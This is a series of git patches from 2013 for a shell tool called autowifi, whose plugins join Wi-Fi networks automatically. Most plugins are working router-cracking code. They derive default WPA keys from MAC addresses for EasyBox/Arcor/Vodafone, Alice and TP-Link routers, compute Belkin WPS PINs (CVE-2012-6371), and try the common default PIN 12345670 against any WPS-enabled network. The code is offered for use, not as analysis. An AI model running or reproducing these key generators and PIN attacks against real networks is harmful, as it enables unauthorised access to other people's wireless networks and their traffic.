From ed73fba46289f4af60422b2d267ba40834ca97ca Mon Sep 17 00:00:00 2001 From: makefu Date: Sat, 25 May 2013 20:50:49 +0200 Subject: add plugins folder --- usr/lib/autowifi/plugins/00profile | 8 ++++++++ usr/lib/autowifi/plugins/01open | 6 ++++++ usr/lib/autowifi/plugins/02easybox | 38 ++++++++++++++++++++++++++++++++++++++ 3 files changed, 52 insertions(+) create mode 100755 usr/lib/autowifi/plugins/00profile create mode 100755 usr/lib/autowifi/plugins/01open create mode 100755 usr/lib/autowifi/plugins/02easybox (limited to 'usr/lib/autowifi/plugins') diff --git a/usr/lib/autowifi/plugins/00profile b/usr/lib/autowifi/plugins/00profile new file mode 100755 index 00000000..fe42470b --- /dev/null +++ b/usr/lib/autowifi/plugins/00profile @@ -0,0 +1,8 @@ +#!/bin/sh +#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 +cat /etc/autowifi/wifi_keys | (while IFS='|' read SSID MAC KEY; do + if [ "$1" == "$SSID" -a "$2" == "$MAC" ]; then + echo $KEY + exit 0 + fi +done; exit 1) diff --git a/usr/lib/autowifi/plugins/01open b/usr/lib/autowifi/plugins/01open new file mode 100755 index 00000000..f3b9640c --- /dev/null +++ b/usr/lib/autowifi/plugins/01open @@ -0,0 +1,6 @@ +#!/bin/sh +#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 +if [ "$4" == "off" ]; then + exit 0 +fi +exit 1 diff --git a/usr/lib/autowifi/plugins/02easybox b/usr/lib/autowifi/plugins/02easybox new file mode 100755 index 00000000..e5323977 --- /dev/null +++ b/usr/lib/autowifi/plugins/02easybox @@ -0,0 +1,38 @@ +#!/bin/sh +#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 +if ! echo $1 | grep -qi Easybox; then + exit 1 +else + MAC=${2?\$2 must be MAC} + + # Take the last 2 Bytes of the MAC-Address (0B:EC), and convert it to decimal. + + take5=${MAC:12} + last4=${take5/:/} + + # Fill up to 4 places with zeros, if necessary: + deci=$(printf "%04d" "0x$last4" | sed 's/.*\(....\)/\1/;s/./& /g') + #echo M4: ${deci[@]} + # + # The digits M9 to M12 are just the last digits (9.-12.) of the MAC: + hexi=$(echo ${MAC:12:5} | sed 's/://;s/./& /g') + #echo 'M4 (Hex): ' ${hexi[@]} + # K1 = last byte of (d0 + d1 + h2 + h3) + # K2 = last byte of (h0 + h1 + d2 + d3) + c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1}) + c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1}) + K1=$((($c1)%16)) + K2=$((($c2)%16)) + #printf "K1: %x\n" $K1 + #printf "K2: %x\n" $K2 + X1=$((K1^${deci:6:1})) + X2=$((K1^${deci:4:1})) + X3=$((K1^${deci:2:1})) + Y1=$((K2^0x${hexi:2:1})) + Y2=$((K2^0x${hexi:4:1})) + Y3=$((K2^0x${hexi:6:1})) + Z1=$((0x${hexi:4:1}^${deci:6:1})) + Z2=$((0x${hexi:6:1}^${deci:4:1})) + Z3=$((K1^K2)) + printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F +fi -- cgit v1.2.3 From 5995257992d9b4d86313e3d78a85b68ffff0a2af Mon Sep 17 00:00:00 2001 From: makefu Date: Sun, 26 May 2013 14:06:53 +0200 Subject: add belkin WPS plugin --- usr/lib/autowifi/plugins/11belkin_wps | 48 +++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100755 usr/lib/autowifi/plugins/11belkin_wps (limited to 'usr/lib/autowifi/plugins') diff --git a/usr/lib/autowifi/plugins/11belkin_wps b/usr/lib/autowifi/plugins/11belkin_wps new file mode 100755 index 00000000..93dd447a --- /dev/null +++ b/usr/lib/autowifi/plugins/11belkin_wps @@ -0,0 +1,48 @@ +#!/bin/sh +# thanks to http://ednolo.alumnos.upv.es/?p=1295G +# for the PoC code +# Calculates the default WPS pin of Belkin Routers and returns the WPA key +# +# Implementation of CVE-2012-6371 + +# works : +# Belkin_N+_XXXXXX 00:22:75:XX:XX:XX F5D8235-4 v1000 +# belkin.XXX 00:1C:DF:XX:XX:XX F5D8231-4 v5000 +# belkin.XXX 09:86:3B:XX:XX:XX F9K1104 v1000 + +cd $(dirname $(readlink -f $0)) +. ../lib/core +. ../lib/wps +parse_args $@ + +MAC=$(printf "%s" $2| sed 's/://g') +if [ ${#MAC} -ne 12 ] ;then + echo "MAC malformed" + exit 1 +fi +VENDOR_MAC=${MAC:0:6} +PRIVATE_MAC=${MAC:6:12} +if ! [ $VENDOR_MAC == "002275" -o $VENDOR_MAC == "001CDF" -o $VENDOR_MAC == "09863B" ] ;then + echo "VENDOR MAC $VENDOR_MAC not affected" + exit 1 +fi + +calc_belkin(){ + PRIVATE_MAC=${1} + + p=$((0x$PRIVATE_MAC % 10000000)) + wps_pin_checksum(){ + pin=$1 + accum=0 + while [ $pin -ne 0 ];do + accum=$((accum + (3 * (pin % 10)) )) + pin=$((pin/10)) + accum=$((accum + pin %10 )) + pin=$((pin/10)) + done + echo $(( (10 - accum % 10) % 10)) + } + printf "%07d%d" $p $(wps_pin_checksum $p) + return 0 +} +try_wps_pin $@ $(calc_belkin ${PRIVATE_MAC}) -- cgit v1.2.3 From 55d6402ac5307af7490a6c6d0607c2b20c68afa4 Mon Sep 17 00:00:00 2001 From: makefu Date: Sun, 26 May 2013 14:09:11 +0200 Subject: update parser --- usr/lib/autowifi/plugins/11belkin_wps | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/lib/autowifi/plugins') diff --git a/usr/lib/autowifi/plugins/11belkin_wps b/usr/lib/autowifi/plugins/11belkin_wps index 93dd447a..3820cf2e 100755 --- a/usr/lib/autowifi/plugins/11belkin_wps +++ b/usr/lib/autowifi/plugins/11belkin_wps @@ -13,7 +13,7 @@ cd $(dirname $(readlink -f $0)) . ../lib/core . ../lib/wps -parse_args $@ +parse_plugin_args $@ MAC=$(printf "%s" $2| sed 's/://g') if [ ${#MAC} -ne 12 ] ;then -- cgit v1.2.3 From d42681fb63901254700cfbb35116cbdca9945463 Mon Sep 17 00:00:00 2001 From: makefu Date: Sun, 26 May 2013 14:23:38 +0200 Subject: update 10default_wps --- usr/lib/autowifi/plugins/10default_wps | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100755 usr/lib/autowifi/plugins/10default_wps (limited to 'usr/lib/autowifi/plugins') diff --git a/usr/lib/autowifi/plugins/10default_wps b/usr/lib/autowifi/plugins/10default_wps new file mode 100755 index 00000000..cd87bc11 --- /dev/null +++ b/usr/lib/autowifi/plugins/10default_wps @@ -0,0 +1,6 @@ +#!/bin/sh +# on MANY WPS-enabled devices the pin is 12345670 , so we can give it a shot +# http://www.wotan.cc/?p=75 +cd $(dirname $(readlink -f $0)) +. ../lib/wps +try_wps_pin $@ 12345671 -- cgit v1.2.3 From 91b2ec7821796c75bb3a56df951c6734d41a26bb Mon Sep 17 00:00:00 2001 From: makefu Date: Sun, 26 May 2013 14:41:01 +0200 Subject: cleanup and usage for plugins --- usr/lib/autowifi/plugins/11belkin_wps | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) (limited to 'usr/lib/autowifi/plugins') diff --git a/usr/lib/autowifi/plugins/11belkin_wps b/usr/lib/autowifi/plugins/11belkin_wps index 3820cf2e..1dba7377 100755 --- a/usr/lib/autowifi/plugins/11belkin_wps +++ b/usr/lib/autowifi/plugins/11belkin_wps @@ -11,15 +11,11 @@ # belkin.XXX 09:86:3B:XX:XX:XX F9K1104 v1000 cd $(dirname $(readlink -f $0)) -. ../lib/core +. ../lib/plugin_core . ../lib/wps parse_plugin_args $@ -MAC=$(printf "%s" $2| sed 's/://g') -if [ ${#MAC} -ne 12 ] ;then - echo "MAC malformed" - exit 1 -fi +MAC=$(printf "%s" $MAC| sed 's/://g') VENDOR_MAC=${MAC:0:6} PRIVATE_MAC=${MAC:6:12} if ! [ $VENDOR_MAC == "002275" -o $VENDOR_MAC == "001CDF" -o $VENDOR_MAC == "09863B" ] ;then -- cgit v1.2.3 From b292dfe3dea7affa29e526c1328613f6e5ca8ed4 Mon Sep 17 00:00:00 2001 From: makefu Date: Wed, 29 May 2013 20:37:39 +0200 Subject: move default_wps to back --- usr/lib/autowifi/plugins/10default_wps | 6 ------ usr/lib/autowifi/plugins/30default_wps | 6 ++++++ 2 files changed, 6 insertions(+), 6 deletions(-) delete mode 100755 usr/lib/autowifi/plugins/10default_wps create mode 100755 usr/lib/autowifi/plugins/30default_wps (limited to 'usr/lib/autowifi/plugins') diff --git a/usr/lib/autowifi/plugins/10default_wps b/usr/lib/autowifi/plugins/10default_wps deleted file mode 100755 index cd87bc11..00000000 --- a/usr/lib/autowifi/plugins/10default_wps +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/sh -# on MANY WPS-enabled devices the pin is 12345670 , so we can give it a shot -# http://www.wotan.cc/?p=75 -cd $(dirname $(readlink -f $0)) -. ../lib/wps -try_wps_pin $@ 12345671 diff --git a/usr/lib/autowifi/plugins/30default_wps b/usr/lib/autowifi/plugins/30default_wps new file mode 100755 index 00000000..98be6a66 --- /dev/null +++ b/usr/lib/autowifi/plugins/30default_wps @@ -0,0 +1,6 @@ +#!/bin/sh +# on MANY WPS-enabled devices the pin is 12345670 , so we can give it a shot +# http://www.wotan.cc/?p=75 +cd $(dirname $(readlink -f $0)) +. ../lib/wps +try_wps_pin "$@" 12345670 -- cgit v1.2.3 From abaa9eaccbfd4517df7a92c251818383ed752caf Mon Sep 17 00:00:00 2001 From: makefu Date: Wed, 29 May 2013 20:38:06 +0200 Subject: 00profile takes root env param --- usr/lib/autowifi/plugins/00profile | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) (limited to 'usr/lib/autowifi/plugins') diff --git a/usr/lib/autowifi/plugins/00profile b/usr/lib/autowifi/plugins/00profile index fe42470b..fdba2c9e 100755 --- a/usr/lib/autowifi/plugins/00profile +++ b/usr/lib/autowifi/plugins/00profile @@ -1,6 +1,9 @@ #!/bin/sh #ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -cat /etc/autowifi/wifi_keys | (while IFS='|' read SSID MAC KEY; do +# ENV: +# root (default: /) +root=${root:-/} +cat $root/etc/autowifi/wifi_keys 2>/dev/null | (while IFS='|' read SSID MAC KEY; do if [ "$1" == "$SSID" -a "$2" == "$MAC" ]; then echo $KEY exit 0 -- cgit v1.2.3 From d0e92e7aa1ece7bbccedafbb1730b80c76424f07 Mon Sep 17 00:00:00 2001 From: makefu Date: Wed, 29 May 2013 20:38:52 +0200 Subject: fix bug in 11belkin_wps whitespace in essid --- usr/lib/autowifi/plugins/11belkin_wps | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/lib/autowifi/plugins') diff --git a/usr/lib/autowifi/plugins/11belkin_wps b/usr/lib/autowifi/plugins/11belkin_wps index 1dba7377..82140523 100755 --- a/usr/lib/autowifi/plugins/11belkin_wps +++ b/usr/lib/autowifi/plugins/11belkin_wps @@ -13,7 +13,7 @@ cd $(dirname $(readlink -f $0)) . ../lib/plugin_core . ../lib/wps -parse_plugin_args $@ +parse_plugin_args "$@" MAC=$(printf "%s" $MAC| sed 's/://g') VENDOR_MAC=${MAC:0:6} -- cgit v1.2.3 From 5c603b50b12c253658cf9911a92c046e302b8696 Mon Sep 17 00:00:00 2001 From: makefu Date: Wed, 29 May 2013 20:46:47 +0200 Subject: easybox comes in many flavours ! --- usr/lib/autowifi/plugins/02easybox | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/lib/autowifi/plugins') diff --git a/usr/lib/autowifi/plugins/02easybox b/usr/lib/autowifi/plugins/02easybox index e5323977..2126e17c 100755 --- a/usr/lib/autowifi/plugins/02easybox +++ b/usr/lib/autowifi/plugins/02easybox @@ -1,6 +1,6 @@ #!/bin/sh #ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -if ! echo $1 | grep -qi Easybox; then +if ! echo "$1" | egrep -qi "(EasyBox-|Arcor-|Vodafone-)"; then exit 1 else MAC=${2?\$2 must be MAC} -- cgit v1.2.3 From 20b1c6c2158fb12b6422c170d4a2a0f402864308 Mon Sep 17 00:00:00 2001 From: makefu Date: Mon, 10 Jun 2013 20:30:41 +0200 Subject: finish refactoring new wpa_supplicant autowifi --- usr/lib/autowifi/plugins/00profile | 2 +- usr/lib/autowifi/plugins/01open | 4 ++-- usr/lib/autowifi/plugins/30default_wps | 13 ++++++++++++- 3 files changed, 15 insertions(+), 4 deletions(-) (limited to 'usr/lib/autowifi/plugins') diff --git a/usr/lib/autowifi/plugins/00profile b/usr/lib/autowifi/plugins/00profile index fdba2c9e..d7fb9c75 100755 --- a/usr/lib/autowifi/plugins/00profile +++ b/usr/lib/autowifi/plugins/00profile @@ -3,7 +3,7 @@ # ENV: # root (default: /) root=${root:-/} -cat $root/etc/autowifi/wifi_keys 2>/dev/null | (while IFS='|' read SSID MAC KEY; do +cat $root/etc/autowifi/wifi_keys 2>/dev/null | (while IFS='|' read SSID MAC BANDWIDTH KEY; do if [ "$1" == "$SSID" -a "$2" == "$MAC" ]; then echo $KEY exit 0 diff --git a/usr/lib/autowifi/plugins/01open b/usr/lib/autowifi/plugins/01open index f3b9640c..881f47ea 100755 --- a/usr/lib/autowifi/plugins/01open +++ b/usr/lib/autowifi/plugins/01open @@ -1,6 +1,6 @@ #!/bin/sh -#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -if [ "$4" == "off" ]; then +#ESSID MAC CHANNEL ENCRYPTION +if [ "$4" == "[ESS]" ]; then exit 0 fi exit 1 diff --git a/usr/lib/autowifi/plugins/30default_wps b/usr/lib/autowifi/plugins/30default_wps index 98be6a66..7f66d117 100755 --- a/usr/lib/autowifi/plugins/30default_wps +++ b/usr/lib/autowifi/plugins/30default_wps @@ -3,4 +3,15 @@ # http://www.wotan.cc/?p=75 cd $(dirname $(readlink -f $0)) . ../lib/wps -try_wps_pin "$@" 12345670 +. ../lib/plugin_core + +parse_plugin_args "$@" +DEFAULT_PIN="${DEFAULT_PIN:-12345670}" + +if has_wps "$ENC"; then + echo "trying PIN $DEFAULT_PIN against $ESSID" >&2 + try_wps_pin "$@" $DEFAULT_PIN +else + echo "Network $ESSID not WPS enabled" >&2 + exit 1 +fi -- cgit v1.2.3 From 11d994c0a822f83b311ce9a63d1f3dc3c29c7039 Mon Sep 17 00:00:00 2001 From: makefu Date: Wed, 26 Jun 2013 13:09:44 +0200 Subject: refactor vendor matcher --- usr/lib/autowifi/plugins/11belkin_wps | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) (limited to 'usr/lib/autowifi/plugins') diff --git a/usr/lib/autowifi/plugins/11belkin_wps b/usr/lib/autowifi/plugins/11belkin_wps index 82140523..65e08624 100755 --- a/usr/lib/autowifi/plugins/11belkin_wps +++ b/usr/lib/autowifi/plugins/11belkin_wps @@ -15,13 +15,8 @@ cd $(dirname $(readlink -f $0)) . ../lib/wps parse_plugin_args "$@" -MAC=$(printf "%s" $MAC| sed 's/://g') -VENDOR_MAC=${MAC:0:6} -PRIVATE_MAC=${MAC:6:12} -if ! [ $VENDOR_MAC == "002275" -o $VENDOR_MAC == "001CDF" -o $VENDOR_MAC == "09863B" ] ;then - echo "VENDOR MAC $VENDOR_MAC not affected" - exit 1 -fi + +! check_vendor_mac "$VENDOR_MAC" 002275 001CDF 09863B && echo "VENDOR MAC $VENDOR_MAC not affected" && exit 1 calc_belkin(){ PRIVATE_MAC=${1} -- cgit v1.2.3 From b72b8a29dcfaf22554ebcf7d5e19bc7f28f49862 Mon Sep 17 00:00:00 2001 From: makefu Date: Wed, 26 Jun 2013 13:11:59 +0200 Subject: add alicebox default wpa key generator --- usr/lib/autowifi/plugins/02alice | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100755 usr/lib/autowifi/plugins/02alice (limited to 'usr/lib/autowifi/plugins') diff --git a/usr/lib/autowifi/plugins/02alice b/usr/lib/autowifi/plugins/02alice new file mode 100755 index 00000000..1b4533a4 --- /dev/null +++ b/usr/lib/autowifi/plugins/02alice @@ -0,0 +1,20 @@ +#!/bin/sh +# Implementation of Alicebox 1121 /Siemens S1621-Z220-A Default Password Algorithm: +# Based on Poc from +# http://www.wardriving-forum.de/forum/f275/standard-wlanpassw%F6rter-von-alice-boxen-70287.html +# +# +# ESSID MAC CHANNEL ENCRYPTION + +cd $(dirname $(readlink -f $0)) +. ../lib/plugin_core + +parse_plugin_args "$@" + +! check_vendor_mac $VENDOR_MAC "00255E" && echo "$VENDOR_MAC not affected" && exit 1 + +# printf always makes string to lower, need that for correct md5sum +ETHMAC=$( printf "%012x" $((0x${MAC}-1)) ) +TMP=$(printf $ETHMAC | md5sum) +printf ${TMP:0:12} | base64 +exit 0 -- cgit v1.2.3 From 9fe9479fcaf843edd262acc28ad4bd71f475a246 Mon Sep 17 00:00:00 2001 From: makefu Date: Wed, 26 Jun 2013 14:00:11 +0200 Subject: 02easybox uses plugin_core now --- usr/lib/autowifi/plugins/02easybox | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) (limited to 'usr/lib/autowifi/plugins') diff --git a/usr/lib/autowifi/plugins/02easybox b/usr/lib/autowifi/plugins/02easybox index 2126e17c..3d7cb8c1 100755 --- a/usr/lib/autowifi/plugins/02easybox +++ b/usr/lib/autowifi/plugins/02easybox @@ -1,21 +1,20 @@ #!/bin/sh #ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -if ! echo "$1" | egrep -qi "(EasyBox-|Arcor-|Vodafone-)"; then - exit 1 -else - MAC=${2?\$2 must be MAC} - # Take the last 2 Bytes of the MAC-Address (0B:EC), and convert it to decimal. +cd $(dirname $(readlink -f $0)) +. ../lib/plugin_core +parse_plugin_args "$@" - take5=${MAC:12} - last4=${take5/:/} +if ! echo "$ESSID" | egrep -i "(EasyBox-|Arcor-|Vodafone-)" >/dev/null; then + echo "Essid $ESSID is not Default EasyBox|Arcor|Vodafone" + exit 1 +else # Fill up to 4 places with zeros, if necessary: - deci=$(printf "%04d" "0x$last4" | sed 's/.*\(....\)/\1/;s/./& /g') - #echo M4: ${deci[@]} + deci=$(printf "%04d" "0x${MAC:8:4}" | sed 's/.*\(....\)/\1/;s/./& /g') # # The digits M9 to M12 are just the last digits (9.-12.) of the MAC: - hexi=$(echo ${MAC:12:5} | sed 's/://;s/./& /g') + hexi=$(echo ${MAC:8:4} | sed 's/./& /g') #echo 'M4 (Hex): ' ${hexi[@]} # K1 = last byte of (d0 + d1 + h2 + h3) # K2 = last byte of (h0 + h1 + d2 + d3) -- cgit v1.2.3 From c0ed79350e3202fce841cb2cda337b8ecdf52b1c Mon Sep 17 00:00:00 2001 From: makefu Date: Mon, 29 Jul 2013 09:45:21 +0200 Subject: add tp-link default wpa key implementation --- usr/lib/autowifi/plugins/02tplink | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100755 usr/lib/autowifi/plugins/02tplink (limited to 'usr/lib/autowifi/plugins') diff --git a/usr/lib/autowifi/plugins/02tplink b/usr/lib/autowifi/plugins/02tplink new file mode 100755 index 00000000..b2b96f95 --- /dev/null +++ b/usr/lib/autowifi/plugins/02tplink @@ -0,0 +1,17 @@ +#!/bin/sh +# Implementation of TP-Link default WPA Key +# Based on +# http://www.wardriving-forum.de/forum/f321/ezwlan-android-2-1-a-70045-4.html#post342481 + +cd $(dirname $(readlink -f $0)) +. ../lib/plugin_core + +parse_plugin_args "$@" + +! check_vendor_mac $VENDOR_MAC "F8D111" && echo "$VENDOR_MAC not affected" && exit 1 +! echo $ESSID | egrep -q '^tp' && echo "$ESSID not affected" && exit 1 + + +# printf always makes string to lower, need that for correct md5sum +printf ${MAC:4:12} +exit 0 -- cgit v1.2.3 From 7823e04b4b3f83f1efcc60f11892714b208db96c Mon Sep 17 00:00:00 2001 From: lassulus Date: Fri, 27 Sep 2013 01:00:45 +0200 Subject: implement painmode --- usr/lib/autowifi/plugins/11belkin_wps | 1 + usr/lib/autowifi/plugins/30default_wps | 1 + 2 files changed, 2 insertions(+) (limited to 'usr/lib/autowifi/plugins') diff --git a/usr/lib/autowifi/plugins/11belkin_wps b/usr/lib/autowifi/plugins/11belkin_wps index 65e08624..d4eb8e37 100755 --- a/usr/lib/autowifi/plugins/11belkin_wps +++ b/usr/lib/autowifi/plugins/11belkin_wps @@ -15,6 +15,7 @@ cd $(dirname $(readlink -f $0)) . ../lib/wps parse_plugin_args "$@" +check_painmode ! check_vendor_mac "$VENDOR_MAC" 002275 001CDF 09863B && echo "VENDOR MAC $VENDOR_MAC not affected" && exit 1 diff --git a/usr/lib/autowifi/plugins/30default_wps b/usr/lib/autowifi/plugins/30default_wps index 7f66d117..ee7195e0 100755 --- a/usr/lib/autowifi/plugins/30default_wps +++ b/usr/lib/autowifi/plugins/30default_wps @@ -6,6 +6,7 @@ cd $(dirname $(readlink -f $0)) . ../lib/plugin_core parse_plugin_args "$@" +check_painmode DEFAULT_PIN="${DEFAULT_PIN:-12345670}" if has_wps "$ENC"; then -- cgit v1.2.3 From 0077e1839cda806e2285bea1ca223dbaf670e4ef Mon Sep 17 00:00:00 2001 From: makefu Date: Fri, 27 Sep 2013 02:22:15 +0200 Subject: make 30default_wps less verbose fix lib/wps posix compatibility by using == instead of = --- usr/lib/autowifi/plugins/30default_wps | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'usr/lib/autowifi/plugins') diff --git a/usr/lib/autowifi/plugins/30default_wps b/usr/lib/autowifi/plugins/30default_wps index ee7195e0..50ad2676 100755 --- a/usr/lib/autowifi/plugins/30default_wps +++ b/usr/lib/autowifi/plugins/30default_wps @@ -13,6 +13,6 @@ if has_wps "$ENC"; then echo "trying PIN $DEFAULT_PIN against $ESSID" >&2 try_wps_pin "$@" $DEFAULT_PIN else - echo "Network $ESSID not WPS enabled" >&2 + echo "Network $ESSID not WPS enabled" exit 1 fi -- cgit v1.2.3